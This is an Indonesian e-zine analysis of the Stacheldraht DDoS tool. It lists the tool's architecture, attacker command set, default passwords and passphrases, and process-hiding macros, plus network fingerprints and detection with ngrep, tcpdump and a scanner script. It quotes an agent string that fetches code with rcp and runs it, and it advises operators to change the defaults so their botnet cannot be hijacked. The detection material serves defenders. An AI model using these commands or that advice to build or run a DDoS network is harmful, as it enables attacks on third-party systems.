Issue‎ > ‎Issue 07‎ > ‎

010.txt


	____________________   ___ ___ ________   
	\_   _____/\_   ___ \ /   |   \\_____  \  
	 |    __)_ /    \  \//    ~    \/   |   \ 
	 |        \\     \___\    Y    /    |    \
	/_______  / \______  /\___|_  /\_______  /
	        \/         \/       \/         \/ 


					    .OR.ID
ECHO-ZINE RELEASE
       07

Author	:Hilman_hands || hilman_hands@yahoo.com
Online @ www.echo.or.id :: http://ezine.echo.or.id

"Stacheldraht" Distributed Denial of Service Attack Tool

Pendahuluan

Berikut ini adalah suatu analisa “stacheldraht", suatu tool distributed denial of 
service (DDOS), yang source code-nya didapat  dari " Tribe Flood Network (TFN)" 
sebuah tool distributed denial of service juga, dimana stacheldraht ini merupakan 
peyempurna dari berbagai tool DDos yang datang sebelumnya.[ Catatatan: Sepanjang 
analisa ini menggunakan nama site, nickname, dan alamat IP yang bukan sebenarnya]

Stacheldraht (dalam bahasa Inggris disebut “barbed wire” dalam bahasa Indonesia 
disebut "kawat-berduri") mengkombinasikan features antara  " trinoo" distributed 
denial of service attack tool, dengan TFN yang original. kelebihan lain dari 
features stacheldraht adalah adanya encryption komunikasi antara attacker dan 
masters, serta agen dapat meng-update dirinya sendiri secara otomatis.

Untuk informasi lebih jauh tentang trinoo dan TFN dapat dilihat di:

	http://staff.washington.edu/dittrich/misc/trinoo.analysis
	http://staff.washington.edu/dittrich/misc/tfn.analysis

Pada akhir Juni dan awal Juli 1999, satu atau lebih kelompok  mencoba untuk 
menginstallasi dan menguji jaringan trinoo (Trinoo Networks) dengan membuat skala 
jaringan denial of service attack yang sangat luas dengan memanfaatkan jaringan 
di atas 2000 sistem yang telah di atur sedemikian rupa. Serangan ini melibatkan 
dan telah diarahkan pada sistem di sekitar bola bumi.


Pada akhir  Augustus / awal bulan September 1999, fokus mulai bergeser dari trinoo 
ke TFN, yang diduga kode originalnya  dibuat oleh Mixter. Kemudian pada akhir 
September / awal Oktober, suatu program yang kelihatan persis/mirip seperi TFN agen,
yang kemudian dikenal sebagai "stacheldraht", mulai menunjukkan taringnya pada 
system-system di Eropa dan Amerika Serikat pada waktu itu. Untuk lebih jelas 
silakan baca di:

http://www.cert.org/incident_notes/IN-99-04.html

Seperti halnya trinoo, stacheldraht juga terdiri dari program master (handler) dan 
daemon, atau " bcast" (agen). Terminologi Handler/Agent telah dikembangkan di CERT 
Distributed System Intruder Tools workshop pada bulan November 1999, dan akan 
digunakan didalam analisa ini sebagai ganti dari terminology spesipik stacheldraht. 
Bagi temen-teman yang ingin mengetahui lebih lanjut tentang CERT workshop report 
bisa di baca di (kalo kata bang Ditrich mah “sangat dianjurkan”, katanya): 

http://www.cert.org/reports/dsit_workshop.pdf

Kalo kita lihat secara seksama, disana terdapat persaingan dalam pembuatan source code  
DDos attack tool yaitu, antara  DDos attack tool “stacheldraht” dengan  versi “TFN 
terbaru” buatan Mixter, yaitu:  Tribe Flood Network 2000, atau TFN2K (==mixter 
gak mau kalah, takut dikira lamer kali…==)yang di release pada tanggal 21 Desember 1999. 
Untuk lebih jauh mengetahui tentang TFN2K, Lihat di :

	http://packetstorm.securify.com/distributed/
	http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html


Selain daripada menggunakan features “handler/agent”-nya trinoo, stacheldraht juga
mempunyai features dari TFN yaitu dengan adanya features distributed network denial 
of service melalui ICMP flood, SYN flood, dan “smurf” style attacks. Tetapi, tidak 
seperti halnya dengan TFN dan TFN2K yang original, kode stacheldraht yang di analisa 
tidak memiliki/berisi (contain) “on demand” root shell bound ke sebuah port TCP. 
( hal tersebut mungkin saja didasarkan pada kode TFN  lebih awal, dibanding yang 
telah dibuat publik oleh Mixter di pertengahan tahun 1999).

Salah satu kelemahan dari TFN adalah bahwa koneksi attacker(s)  kepada master(s), 
yang mengendalikan network adalah dalam format clear-text, dan terlalu terfokus 
kepada standard TCP attack (session hijacking, RST sniping, dll.).  Stacheldraht 
memberikan keunggulan dalam menghadapi situasi ini dengan menambahkan suatu 
encrypting "mirip telnet" (istilah stacheldraht) client.

Stacheldraht agen mula-mula ditemukan dalam format biner pada sejumlah system Solaris 2.x, 
yang dapat diidentifikasikan dengan adanya exploitasi dari bug buffer overrun di dalam 
servis-servis RPC " statd", " cmsd" dan " ttdbserverd". 

Makefiles dalam stacheldraht berisi rules untuk Linux dan Solaris, dengan default untuk 
Linux (walaupun demikian code tersebut tidak  bekerja secara reliable pada linux). Untuk 
kepentingan analisa ini, semua program telah di-compile dan di jalankan (run) di dalam 
system Red Hat Linux 6.0. Tetapi sejauh ini, saya hanya mengetahui bahwa Agent hanya 
bisa berjalan secara maksimal pada system Solaris 2.x.

Satu hal, pernyataan yang mungkin harus diperjelas didalam analisa yang akan kita lakukan, 
terutama didalam analisa trinoo dan Tribe Flood Network adalah bahwa distributed denial 
of service attack mempunyai dua phase serangan yaitu “victim” (korban) dan “attackers" 
(penyerang) hal tersebut digambarkan tergantung pada point of view anda (baca artikel 
ini sampai selesai kemudian pahami, selanjutnya anda akan mengalami “pencerahan”…he..he..he).

Terdapat sebuah tahap di dalam inisialisasi mass-intrusion, di mana tools yang diotomatkan 
(agent) digunakan untuk   mengkompromisasikan root dari jarak jauh (remotely) dalam jumlah 
yang sangat besar ( yaitu, dalam beberapa ratus hingga beberapa ribu ranges) dan distributed 
denial of service agent ini sudah harus diinstall pada  compromised system (kalo dalam 
bahasa indonesianya mah “system yang telah disepakati”). Ini adalah primary victim  
(korban utama)  ( dari sistem berkompromi.) Tidak satupun dari tools distributed denial 
of service ini yang mempunyai features yang dapat memfasilitasi compromising systems seperti 
layaknya stacheldraht. (compromising system = system yang telah diatur sedemikian rupa 
dalam sebuah atau beberapa buah jaringan sracheldraht).

Tahap Mass-Instrusion diikuti oleh phase serangan denial of service yang actual, di mana 
system-system yang telah dikompromisasikan (compromised systems), yaitu handler-handler 
dan agen-agennya digunakan untuk melakukan serangan denial of service secara raksasa dan 
secara terdistribusi terhadap satu atau beberapa server sites.Ini adalah secondary victims 
(korban kedua)  dari serangan denial of service.

Untuk pendeskripsian tentang metode-metode yang digunakan dalam initial intrusion dan 
phase-pase dalam men-setup jaringan stacheldraht, anda bisa membacanya dalam analisa 
jaringan trinoo  (analysis of the trinoo network)  yang sebenarnya artikel tersebut 
sudah saya susun beberapa waktu lalu (belom dipublikasikan)…..tapi saya ingin melihat 
dulu antusiasme dari komunitas hacker indonesia tentang Distribute Denial of Service 
Attack Tools…dan juga mengingat apabila tools DDos ini dapat kita installasi dan berhasil 
dalam membuat sebuah atau beberapa skala jaringan dengan pengaturan sistem yang diatur 
sedemikian rupa. Maka akan sangat membahayakan, apabila digunakan oleh orang yang tidak 
bertanggung jawab. (maka dari itu bacaan ini bukan untuk lamer, newbies, 
script kiddies, carder………dll…heheheJ) terusin lagi yuk…..J

Catatan : bahwa modifikasi dari source code, bisa dan akan merubah detil dari analisa ini, 
seperti prompt, passwords, commands, port numbers TCP/UDP, atau metoda serangan yang 
mendukung, signatures, dan features.


The network: client(s)-->handler(s)-->agent(s)-->victim(s)


Jaringan Stacheldraht terdiri dari satu atau lebih handler program ("mserv.c") dan satu 
handler program dapat memiliki banyak set agent (" leaf/td.c"). Penyerang/attacker 
menggunakan sebuah program encrypting " mirip telnet" untuk menghubungkan  dan berkomunikasi 
dengan handlers ("telnetc/client.c"). Sebuah jaringan stacheldraht akan terlihat seperti ini:





                   +--------+             +--------+
                   | client |             | client |
                   +--------+             +--------+
                       |                      |
        . . . --+------+---------------+------+----------------+-- . . .
                |                      |                       |
                |                      |                       |
          +-----------+          +-----------+           +-----------+
          |  handler  |          |  handler  |           |  handler  |
          +-----------+          +-----------+           +-----------+
                |                      |                       |
                |                      |                       |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
         |            |            |            |            |
         |            |            |            |            |
     +-------+    +-------+    +-------+    +-------+    +-------+
     | agent |    | agent |    | agent |    | agent |    | agent |
     +-------+    +-------+    +-------+    +-------+    +-------+




Attacker(S) mengendalikan satu atau lebih handlers menggunakan encrypting klien. Masing-Masing 
handler dapat mengendalikan banyak agent. ( Ada suatu batas internal di dalam" mserv.c" di 
dalam kodenya mencapai 1000 agen, yang biasanya bisa mencapai 1024. Di tulis dalam 
code-nya " 1000 sockets are leet0" ). Semua Agen dinstruksikan untuk mengkoordinir 
sebuah paket serangan terhadap satu atau lebih victim system oleh handler (di dalam kodenya 
dikenal sebagai " mserver" atau " master server”).

Komunikasi



	Clients ke handler (s) menggunakan	 :	16660/tcp
	Handler ke / dari agent(s) menggunakan	 :	65000/tcp, ICMP_ECHOREPLY


Tidak sama halnya dengan trinoo, yang menggunakan UDP untuk komunikasi antara handlers dan 
agen, atau Tribe Flood Network yang original, Yang menggunakan ICMP untuk komunikasi antara 
handler dan agen, stacheldraht menggunakan TCP dan ICMP untuk melakukan komunikasinya.


Pengendali jarak jauh (remote control) jaringan stacheldraht  dapat dilakukan dengan menggunakan 
sebuah  simple client  yang menggunakan kunci symmetric encryption untuk komunikasi antar dirinya 
sendiri dan handler. Klien menerima argumentasi tunggal, yang menunjukkan  bahwa handler tersebut 
perlu hubungan, yang kemudian berhubungan dengan menggunakan  sebuah port TCP ( di dalam kode 
yang di analisa menggunakan default 16660/tcp).

Untuk attacker, coba lihat contoh berikut ini (jika diberikan kata sandi yang sesuai):
------------------------------------------------------------------------------------------------

# ./client 192.168.0.1
    [*] stacheldraht [*] 
 (c) in 1999 by ...

trying to connect...
connection established.
--------------------------------------
enter the passphrase : sicken
--------------------------------------
entering interactive session.
******************************
   welcome to stacheldraht    
******************************
type .help if you are lame

stacheldraht(status: a!1 d!0)>
---------------------------------------------------------------------------


Prompt ("a!") menunjukkan banyaknya agen yang aktif (a=active) dan prompt ("d!") menunjukkan 
banyaknya agen yang mati (d=dead) pada saat itu. Gunakan perintah ".help" untuk melihat argument 
perintah. ( Ok…udah jam 2 pagi gak ada rokok…..pusing…beli dulu ahhhh…..sambil nunggu bobolnya 
gawang sun os…yang lagi “disapa” dan kalo bisa kita ajak “join” buat percobaan…he..he..he…terusin 
yuk….artikelnya….J)  sekarang kita lihat argument-argument perintahnya….kalo enggak….bakalan 
tambah pusing ente……hehe J command set yang didukung yaitu:

---------------------------------------------------------------------------
stacheldraht(status: a!1 d!0)>.help
available commands in this version are:
--------------------------------------------------
.mtimer   .mudp     .micmp .msyn    .msort  .mping
.madd     .mlist    .msadd .msrem   .distro .help
.setusize .setisize .mdie  .sprange .mstop  .killall
.showdead .showalive
--------------------------------------------------
stacheldraht(status: a!1 d!0)>
---------------------------------------------------------------------------



Perintah-perintah (commands)


.distro	user server
Instruksikan agen untuk menginstal dan menjalankan new copy dirinya sendiri menggunakan 
perintah Berkeley "rcp" pada sistem "server", menggunakan account “user” ( e.g., " rcp 
nixxxer_overrun@server:linux.bin ttymon")




.help
	Untuk memperlihatkan commands yang didukung

.killall
	Kills semua agent-agen yang aktif.

.madd ip1[:ip2[:ipN]]
	Tambahkan IP addresses ke daftar attack victims

.mdie
	Kirim die request ke semua agent.

.mdos
	Memulai DoS attack

.micmp ip1[:ip2[:ipN]]
	Memulai ICMP Flood attack terhadap host yang ditetapkan.

.mlist
	Daftar IP address dari host yang telah dijadikan sasaran Dos attack pada saat ini.

.mping
	Ping semua agent (bcast) untuk melihat apakah semuanya aktif (alive).

.msadd
Menambahkan master server baru (handler) ke dalam daftar (list) servers yang tersedia.

.msort
Untuk melihat agent (bcast) yang mati/hidup. (kirim ping dan perlihatkan counts/persentase 
dari agent-agent yang mati/hidup)

.mstop ip1[:ip2[:ipN]]
.mstop all
Berhenti melakukan serangan terhadap ip address yang telah ditetapkan, atau berhenti 
melakukan serangan terhadap semua IP address (“.mstop all”).

.msrem
Me-removes sebuah master server (handler) dari daftar master server yang tersedia.


.msyn ip1[:ip2[:ipN]]
	Memulai SYN Flood attack terhadap host yang ditetapkan.

.mtimer seconds
	Set timer untuk durasi penyerangan. (tidak ada pengecekan dalam value ini).


.mudp ip1[:ip2[:ipN]]
Memulai UDP flood attack terhadap host yang ditetapkan (mode emulasi dari DoS trinoo).

.setisize
Men-set size pengiriman paket ICMP untuk serangan flooding. (maksimal: 1024, defaultnya : 1024).

.setusize
Men-set size pengiriman paket UDP untuk serangan flooding (maksimal: 1024, Defaultnya: 1024).


.showalive
	Memperlihatkan semua agent yang “hidup” (bcast).

.showdead
	Memperlihatkan semua agent yang “mati” (bcast).

.sprange lowport-highport
Men-set port range untuk serangan SYN Flooding (dafault untuk lowport: 0, highport: 140).



Proteksi Password


Setelah koneksi kepada handler menggunakan program klien, Attacker diminta untuk memasukan 
password. Password ini ( Defaultnya " sicken" di dalam kode yang telah dianalisa) adalah 
suatu standard crypt() encrypted password, yang kemudian di enkripsi oleh program Blowfish 
menggunakan passphrase " authentication" sebelum dikirimkan oleh network kepada handler 
(* semua* komunikasi antara agen dan handler di encrypt terlebih dahulu oleh program Blowfish 
menggunakan passphrase tersebut.).

Seperti halnya TFN, C macros (" config.h") define values-nya digunakan untuk menyatakan 
perintah-perintah, penempatan kembali vector argumen ("HIDEME" dan "HIDEKIDS"), untuk 
merahasiakan nama program, dll.:


---------------------------------------------------------------------------
#ifndef _CONFIG_H

/* user defined values untuk the teletubby flood network */

#define HIDEME "(kswapd)"
#define HIDEKIDS "httpd"
#define CHILDS 10

/* sepertinya ini kata sandi, dan disini anda bisa merubahnya */

#define ID_SHELL   1       /* untuk mem-bind rootshell */

#define ID_ADDR  699       /* request penambahan IP untuk server flood */			
#define  ID_SETPRANGE 2007 /* men-set port range untuk synflood */
#define   ID_SETUSIZE 2006 /* men-set size udp */
#define   ID_SETISIZE 2005 /* men-set size ICMP */
#define    ID_TIMESET 2004 /* men-set waktu untuk flooding */
#define     ID_DIEREQ 2003 /* request menshutdown master server */
#define   ID_DISTROIT 2002 /* distro request untuk master server */
#define ID_REMMSERVER 2001 /* meremove master server */
#define ID_ADDMSERVER 2000 /* memasukan master server baru */
#define SPOOF_REPLY 1000   /* spoof test reply master server */
#define ID_TEST  668       /* men-test master server */
#define ID_ICMP  1055	   /* untuk ICMP flood */
#define ID_SENDUDP 2	   /* untuk Udp flood */
#define ID_SENDSYN 3	   /* untuk syn flood */
#define ID_SYNPORT 4	   /* untuk men-set port */
#define ID_STOPIT  5	   /* untuk memberhentikan flooding */
#define ID_SWITCH  6	   /* untuk mengganti mode spoofing */
#define ID_ACK     7	   /* untuk me-reply kepada klien */

#define _CONFIG_H
#endif
---------------------------------------------------------------------------






Coba anda lihat script value di atas….!!!! Default tersebut membuka hole kepada orang 
lain untuk men-take over jaringan stacheldraht yang susah payah anda buat.. (gimana kalo 
orang lain men-execute command agent……?). Untuk berjaga-jaga agar tidak ada orang lain 
mengetahui default value yang digunakan dalam script tersebut dan berjaga-jaga agar 
orang lain tidak meng-execute agent commands, sebaiknya anda merubahnya….!!!


Fingerprints



Seperti di dalam installasi Trinoo dan Tribe Flood Network, metoda yang digunakan untuk 
menginstallasi handler/agent  stacheldraht sama seperti menginstallasi program yang lain 
pada suatu compromised sistem Unix, dengan semua option standard untuk menyembunyikan 
program dan file yang akan di instalasi ( seperti halnya ketika anda menginstalasi 
“root kits”, “back door”, penggunaan hidden directories, kernel modules, dll.)

Salah satu features yang tidak dimiliki oleh trinoo ataupun TFN adalah kemampuan untuk 
meng-upgrade agen “on demand”. Features ini “mempekerjakan” perintah Berkeley “rcp" 
( 514/tcp), menggunakan account yang dicuri dari cache dari beberapa site. On demand,…. 
semua agen di instruksikan untuk men-delete current program image, keluar dan dapatkan 
sebuah new copy (baik itu binary linux ataupun  binary Solaris) dari suatu site/account 
menggunakan " rcp”, mulai menjalankan new image ini dengan " nohup", dan exit.

Untuk mengidentifikasi program di dalam sistem file, terdapat beberapa string yang dapat 
 dibedakan. 

String-string yang terdapat pada encrypting client ("client") meliputi yang berikut:


------------------------------------------------------------------------------
 . . .
connection closed.
usage: ./sclient 
    [*] stacheldraht [*] 
 (c) in 1999 by ...
trying to connect...
unable to resolv %s
unable to connect.
connection established.
--------------------------------------
enter the passphrase : 
authentication
failed
authentication failed.
entering interactive session.
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
huhu
 . . .
------------------------------------------------------------------------------


String-string yang terdapat pada handler (“mserv”) meliputi yang berikut:


------------------------------------------------------------------------------
 . . .
%d.%d.%d.%d
jbQ4yQaKLbFZc
* mtimer reached *
.quit
exiting...
you need to stop the packet action first.
.help
.version
[*]stacheldraht[*] mserver version: 1.1
setusize
setisize
mdos
mping
mudp
micmp
msyn
mstop
mtimer
madd
mlist
msort
msadd
msrem
distro
sprange
killall
showdead
showalive
add some bcasts mofo.
killing all active childs...
usage: .sprange 
example: .sprange 0-140
 low port is : %i
high port is : %i
request was sent to the network.
usage: .setusize <=1024)>
current udp packet size is %ibytes
udp packet size was set to %i bytes.
udp packet size is too large.
usage: .setisize <=1024)>
current icmp packet size is %ibytes
icmp packet size was set to %i bytes.
icmp packet size is too large.
sending mass die request...
finished.
.mudp
starting trinoo emulation...
removing useful commands.
- DONE - 
available commands in this version are:
--------------------------------------------------
.mtimer   .mudp     .micmp .msyn    .msort  .mping
.madd     .mlist    .msadd .msrem   .distro .help
.setusize .setisize .mdie  .sprange .mstop  .killall
.showdead .showalive
usage: .distro  
remember  : the distro files need to be executable!
that means: chmod +x linux.bin , chmod +x sol.bin ;))
sending distro request to all bcasts....
      user : %s
rcp server : 
unable to resolve - %s
unable to send distro request.
request was sent, wait some minutes ;) 
usage: .msrem 
removing masterserver - 
failed.
usage: .msadd 
adding masterserver - 
no packet action at the moment, sir.
the followings ip(s) are getting packeted...
--------------------------------------------
[*] stacheldraht [*] is packeting %d ips
[*] stacheldraht [*] is packeting 1 ip
.mstop all
deleting from packetlist...
%s - removed.
%s - skipped.
restarting packeting routines...
niggahbitch
usage: .madd 
adding to packetlist...
%s - added.
usage: .mtimer 
packet timer was set to %d seconds
usage: .mstop  or 
packeting stopped.
usage: .msyn 
the net is already packeting.
mass syn flooding
%i floodrequests were sent to %i bcasts.
usage: .micmp 
mass icmp bombing
usage: .mudp 
mass udp bombing
tR1n00(status: a!%i d!%i)>
stacheldraht(status: a!%i d!%i)>
waiting for ping replies...
total bcasts : %d   - 100%
alive bcasts : 0   - 0%
alive bcasts : %d   -  %d%
dead bcasts  : %d   - %d%
showing the alive bcasts...
---------------------------
alive bcasts: %i
showing the dead bcasts...
--------------------------
dead bcasts: %i
sorting out all the dead bcasts
-------------------------------
%d dead bcasts were sorted out.
bcasts
[*]-stacheldraht-[*] - forking in the background...
%i bcasts were successfully read in.
3.3.3.3
spoofworks
ficken
authentication
failed
******************************
   welcome to stacheldraht    
type .help if you are lame
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
huhu
[0;35mTribe Flood Network (c) 1999 by 
[5mMixter
 . . .
------------------------------------------------------------------------------


String yang terdapat di dalam agen (“td”) meliputi yang berikut:



------------------------------------------------------------------------------

. . . 
%d.%d.%d.%d
ICMP
Error sending syn packet.
tc: unknown host
3.3.3.3
mservers
randomsucks
skillz
ttymon
rm -rf %s
rcp %s@%s:linux.bin %s
nohup ./%s
1.1.1.1
127.0.0.1
lpsched
no masterserver config found.
using default ones.
available servers: %i - working servers : 0
[*] stacheldraht [*] installation failed.
found a working [*] stacheldraht [*] masterserver.
masterserver is gone, looking for a new one
sicken
in.telne
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
 . . .
------------------------------------------------------------------------------


Ketika masing-masing agen startup, agen-agen tersebut mencoba untuk membaca file 
configurasi master server, untuk mengetahui manakah handler-hendler yang dapat 
mengontrolnya. File tersebut adalah daftar IP address, di enkripsi menggunakan 
Blowfish, dengan suatu passphrase "randomsucks". Kegagalan dalam menemukan suatu 
file konfigurasi, disebabkan karena ada satu atau lebih default handler IP address 
yang di-compile ke dalam program (seperti yang di tunjukkan di atas "1.1.1.1" 
dan "127.0.0.1" this will obviously be changed…..!!!!!….huahhh…).

Setelah agen telah mendeterminisasikan daftar handlers yang potensial, kemudian 
akan start pada awal daftar handlers dan mengirimkan suatu paket ICMP_ECHOREPLY 
dengan  suatu ID field yang berisi value 666 dan data field yang berisi string 
"skillz". Jika master mendapatkan paket ini,  master tersebut akan mengembalikan 
suatu paket ICMP_ECHOREPLY dengan suatu ID field yang berisi value 667 dan data 
field yang berisi string " ficken". (handler dan agen akan mengirimkan beberapa 
paket besar, e.g., >1000 byte. Handler dan agen secara periodikal mengirimkan 
paket ini>>> 666|skillz / 667|ficken<<< secara bolak balik.

Apabila kita lihat melalui tool "sniffit" (Sniffit adalah packet sniffer and 
monitoring tool), paket tersebut akan kelihatan seperti ini:

------------------------------------------------------------------------------
ICMP message id: 10.0.0.1 > 192.168.0.1
  ICMP type: Echo reply
 45 E 00 . 04 . 14 . 01 . 0F . 00 . 00 . 40 @ 01 . E9 . 53 S 0A . 00 . 00 . 01 .
 C0 . A6 . 00 . 01 . 00 . 00 . B4 . 13 . 02 . 9A . 00 . 00 . 00 . 00 . 00 . 00 .
 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
 73 s 6B k 69 i 6C l 6C l 7A z 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
 . . . [60 lines of zeros deleted]
 00 . 00 . 00 . 00 .

ICMP message id: 192.168.0.1 > 10.0.0.1
  ICMP type: Echo reply
 45 E 00 . 04 . 14 . 04 . F8 . 00 . 00 . 40 @ 01 . E5 . 6A j C0 . A6 . 00 . 01 .
 0A . 00 . 00 . 01 . 00 . 00 . CE . 21 ! 02 . 9B . 00 . 00 . 00 . 00 . 00 . 00 .
 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
 66 f 69 i 63 c 6B k 65 e 6E n 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
 . . . [60 lines of zeros deleted]
 00 . 00 . 00 . 00 .
------------------------------------------------------------------------------




Apabila kita kita lihat melalui tool “ngrep” (Network Grep Tool), akan kelihatan 
seperti di bawah ini:


------------------------------------------------------------------------------
# ngrep -x "*" icmp
interface: eth0 (0.0.0.0/0.0.0.0)
filter: ip and ( icmp )
Kernel filter, protocol ALL, raw packet socket
match: *
#
I 10.0.0.1 -> 192.168.0.1 0:0
  02 9a 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    73 6b 69 6c 6c 7a 00 00    ........skillz..
[ 61 lines of zeroes deleted ]
  00 00 00 00 00 00 00 00    00 00 00 00                ............    
#
I 192.168.0.1 -> 10.0.0.1 0:0
  02 9b 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    66 69 63 6b 65 6e 00 00    ........ficken..
[ 61 lines of zeroes deleted ]
  00 00 00 00 00 00 00 00    00 00 00 00                ............    
#
------------------------------------------------------------------------------


" ngrep" adalah Network grep utility yang digunakan untuk menganalisis paket 
jaringan (“packet sniffer”) lebih mudah untuk digunakan dan outputnya lebih 
ringkas dibanding dengan " tcpdump" / " tcpshow".

Sebagai tambahan untuk menemukan aktif handler, agen melakukankan suatu test 
untuk melihat jika jaringan pada agen sedang berjalan (ruuning) dan mengijinkan 
paket-paket untuk exit dengan source address yang dipalsukan. Hal tersebut 
dilakukan dengan mengirimkan suatu paket ICMP ECHO dengan sebuah alamat 
IP palsu " 3.3.3.3", sebuah ID 666, dan alamat IP dari  sistem agen ( yang diperoleh 
dengan mendapatkan hostname, kemudian me-resolving-nya ke sebuah alamat IP) di 
dalam data field dari paket  ICMP. 

Jika master menerima paket tersebut, maka master akan me-reply-nya ke alamat IP yang 
terdapat pada paket tersebut dengan suatu paket ICMP_ECHOREPLY berisi sebuah ID 1000 
dan kata "spoofworks" di dalam data field (bidang data). Jika agen menerima paket ini, 
maka agen akan men-sets ke spoof_level 0 ( bisa men-spoof semua alamat IP 32 bit). 
Jika terjadi time out sebelum menerima suatu paket spoof reply, maka akan men-set-nya 
ke spoof_level 3 ( hanya bisa men-spoof final octet).

Apabila kita lihat melalui “tcpdump” dan “ngrep” maka paket tersebut akan terlihat 
seperti di bawah ini:

------------------------------------------------------------------------------
# tcpdump icmp
 . . .
14:15:35.151061 3.3.3.3 > 192.168.0.1: icmp: echo request [tos 0x7]
14:15:35.177216 192.168.0.1 > 10.0.0.1: icmp: echo reply
 . . .

# ngrep -x "*" icmp
interface: eth0 (0.0.0.0/0.0.0.0)
filter: ip and ( icmp )
Kernel filter, protocol ALL, raw packet socket
match: *
#
I 3.3.3.3 -> 192.168.0.1 8:0
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    31 30 2e 30 2e 30 2e 31    ........10.0.0.1
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00                               ........        
#
I 192.168.0.1 -> 10.0.0.1 0:0
  03 e8 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    73 70 6f 6f 66 77 6f 72    ........spoofwor
  6b 73 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ks..............
[ 60 lines of zeroes deleted ]
  00 00 00 00 00 00 00 00    00 00 00 00                ............    
#
------------------------------------------------------------------------------


Terdapat juga sebuah kode di dalam agen untuk melakukan suatu ID test, mengirimkan 
suatu paket ICMP_ECHOREPLY dengan suatu ID field value 669, dan string "sicken\n" 
di dalam data field. Kode ini akan muncul jika agen dikirim suatu paket ICMP_ECHOREPLY 
dengan sebuah ID field yang berisi value 668. Seandainya anda ingin memeriksa adanya 
3stacheldraht agen, maka anda dapat memeriksanya dengan sebuah program “gag” 
(Perl script yang dibuat untuk mendeteksi stacheldraht agents). Apabila menggunakan 
“ngrep” maka yang akan muncul seperti ini:


------------------------------------------------------------------------------
# ngrep -x "*" icmp
interface: eth0 (0.0.0.0/0.0.0.0)
filter: ip and ( icmp )
Kernel filter, protocol ALL, raw packet socket
match: *
#
I 10.0.0.2 -> 198.162.0.1 0:0
  02 9c 00 00 67 65 73 75    6e 64 68 65 69 74 21       ....gesundheit! 
#
I 198.162.0.1 -> 10.0.0.2 0:0
  02 9d 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    73 69 63 6b 65 6e 0a 00    ........sicken..
[ 61 lines of zeroes deleted ]
  00 00 00 00 00 00 00 00    00 00 00 00                ............    
------------------------------------------------------------------------------


Script "gag" bisa juga digunakan seperti halnya “ngrep”. Pertama, buatlah daftar semua 
sistem yang dicurigai (lakukan scanning menggunakan " nmap" untuk pendeteksian 
Operating System (OS) dan temukan semua system Solaris dan Linux pada jaringan anda, 
atau scanlah seluruh jaringan dan temukan semua alamat IP yang aktif). 
Gunakanlah "Tcpdump" untuk menangkap semua potensial reply yang akan digunakan kemudian. 
Kemudian gunakanlah "gag". Perhatikan contoh di bawah ini :


------------------------------------------------------------------------------
# tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669'
# ./gag -v iplist
sending packet [668/"gesundheit!"] to 192.168.0.1
sending packet [668/"gesundheit!"] to 192.168.0.30
sending packet [668/"gesundheit!"] to 192.168.1.2
sending packet [668/"gesundheit!"] to 192.168.1.5
sending packet [668/"gesundheit!"] to 192.168.2.10
sending packet [668/"gesundheit!"] to 192.168.3.6
 . . .
------------------------------------------------------------------------------

Untuk melihat daftar system yang mengembalikan paket ICMP_ECHOREPLY dengan ID 669, 
lakukan yang berikut ini :


------------------------------------------------------------------------------
# tcpdump -r stach.dump
tcpdump: Filtering in user process
15:27:57.520094 192.168.0.1 > 10.0.0.1: icmp: echo reply (DF)
15:28:01.984660 192.168.2.10 > 10.0.0.1: icmp: echo reply (DF)
------------------------------------------------------------------------------


Untuk benar-benar memastikan bahwa muatan paket tersebut terdapat konfirmasi " sicken\n", 
anda dapat melakukan hal yang berikut ini:


------------------------------------------------------------------------------
# tcpshow < stach.dump | egrep "Source IP|sicken"
tcpdump: Filtering in user process
        Source IP Address:              198.162.0.1
        ....................sicken
        Source IP Address:              192.168.2.10
        ....................sicken
------------------------------------------------------------------------------


{Apabila anda membutuhkan sebuah tool untuk mendeteksi stacheldraht, trinoo ataupun tfn. 
Anda bisa menemukannya di: http://staff.washington.edu/dittrich/misc/ddos_scan.tar}

String-string seperti "Skillz", "spoofworks", "sicken\n", "niggahbitch", dan "ficken"
semua dikirim melalui segmen data ICMP—string-string tersebut tidak di encrypted, maka 
akan terlihat pada bagian data dari paket ICMP_ECHOREPLY. ID value 666, 667, 668, 669, 
dan 1000 akan  mudah juga untuk diidentifikasi di dalam packet flow (arus paket) 
menggunakan " ngrep", atau metoda lain  di atas.

Apabila menggunakan “lsoft” Lsof adalah suatu alat diagnostik Unix-specific.
LSof=List Open Files. Untuk menemukan daftar-daftar informasi tentang file 
(file apapun juga) yang terbuka oleh proses yang berjalan pada sistem. Juga dapat 
melihat daftar komunikasi yang terbuka oleh masing-masing proses. maka 
stacheldraht handler dapat terlihat di dalam system seperti ini :

------------------------------------------------------------------------------
# lsof -c mserv
COMMAND  PID USER   FD   TYPE DEVICE    SIZE  NODE NAME
